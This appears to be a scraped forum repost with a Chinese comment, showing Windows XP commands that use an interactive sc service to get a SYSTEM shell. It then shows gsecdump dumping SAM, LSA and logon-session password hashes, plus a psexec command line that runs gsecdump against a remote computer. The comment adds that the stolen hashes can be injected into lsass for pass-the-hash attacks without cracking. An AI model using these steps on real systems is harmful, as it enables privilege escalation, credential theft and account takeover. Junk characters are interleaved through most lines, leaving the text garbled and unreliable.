o get a DOS Prompt as NT system:
5 l( R; V7 x4 b3 s* Y8 {) e7 S% Y$ T, I1 {1 B+ l# B. G
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact# k9 G# E: y3 w+ M& w: K s
[SC] CreateService SUCCESS
4 c2 B' N8 @# C, n! a. P# S+ l( t; q) F o% |3 w
C:\>sc start shellcmdline6 C# C' x) u, F9 r4 F3 f4 T
[SC] StartService FAILED 1053:6 i7 `4 d1 D4 H2 ]8 D: Q' u8 G. ]) r8 a
; Z. f& W5 r# M! E/ v6 b& [: mThe service did not respond to the start or control request in a timely fashion.) X& H' }# n; T$ v* _
5 K b* x5 M9 p
C:\>sc delete shellcmdline
: e$ p) D! A6 J0 t[SC] DeleteService SUCCESS
+ w& h# q$ m: f* ] _" l2 F0 _8 T+ ^
------------& G& X, l: c/ N8 y3 a! S$ i" L
# _: I$ T6 r" NThen in the new DOS window:
; g* z X8 Z) x" k+ w# o9 o8 x' y+ y% K$ T0 h8 J
Microsoft Windows XP [Version 5.1.2600]
2 n4 o; Y1 x9 m. Q(C) Copyright 1985-2001 Microsoft Corp.
# P8 u6 B8 n* L" o/ C" y' }6 |( H' n% E4 n& e1 b
C:\WINDOWS\system32>whoami
d+ b/ ?: G! n: a4 K. bNT AUTHORITY\SYSTEM$ o+ L. }2 [) |* i+ e1 e& R1 l/ z
- {9 a, l1 B4 m' i1 H- {C:\WINDOWS\system32>gsecdump -h* ~4 \: I( q3 R- L
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)9 w' B9 P- A, ~! u4 V1 T& ~
usage: gsecdump [options]# n1 Z2 l* K$ H" U0 a: G1 L
- m! ^0 m: K) W
options:% _! L# L5 D; i7 u: a' ~8 Y( m# x
-h [ --help ] show help
# ?- T3 `5 X- T9 G ?" s3 b4 P-a [ --dump_all ] dump all secrets8 }6 T' I8 Z. J: L5 A/ m g {
-l [ --dump_lsa ] dump lsa secrets
' x! Y5 n9 ]. `+ C, ?, a-w [ --dump_wireless ] dump microsoft wireless connections
+ @, {7 ~8 ~& C; K-u [ --dump_usedhashes ] dump hashes from active logon sessions. f- |; q3 Y& z- ?8 g
-s [ --dump_hashes ] dump hashes from SAM/AD/ }& o4 J* R7 P9 j, ]# e7 h
$ f* }: K: L! v/ g5 J0 b, IAlthough I like to use:
$ _! |' e& @: Q2 {: A2 U, x6 l w! X) A
PsExec v1.83 - Execute processes remotely+ q- g3 |* |' D. }
Copyright (C) 2001-2007 Mark Russinovich
- m, `- Q- q9 m: W7 D; I2 XSysinternals - 链接标记[url]www.sysinternals.com[/url]
8 \% Y; ^/ j" p+ ~8 g; p. F! L/ y1 M8 ~: g3 [" X D
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
- r7 D% k' u! S4 z M3 k% B/ c+ H' F+ N9 r+ k: V
to get the hashes from active logon sessions of a remote system.: l- e4 k2 l1 `6 z L
& T# S7 f5 ]' [. B% O2 ~" _. n
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables. `# z, V- n( N- T* g# p, J3 l
7 ^4 l9 Y5 Y T* _* ~提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.7 N( h$ k9 {1 A
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
- H- K) q# S( _, z$ w
% e* c, M. k) T0 S' v8 o我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。
" a- u7 C6 Y8 L' e3 \4 Q* y |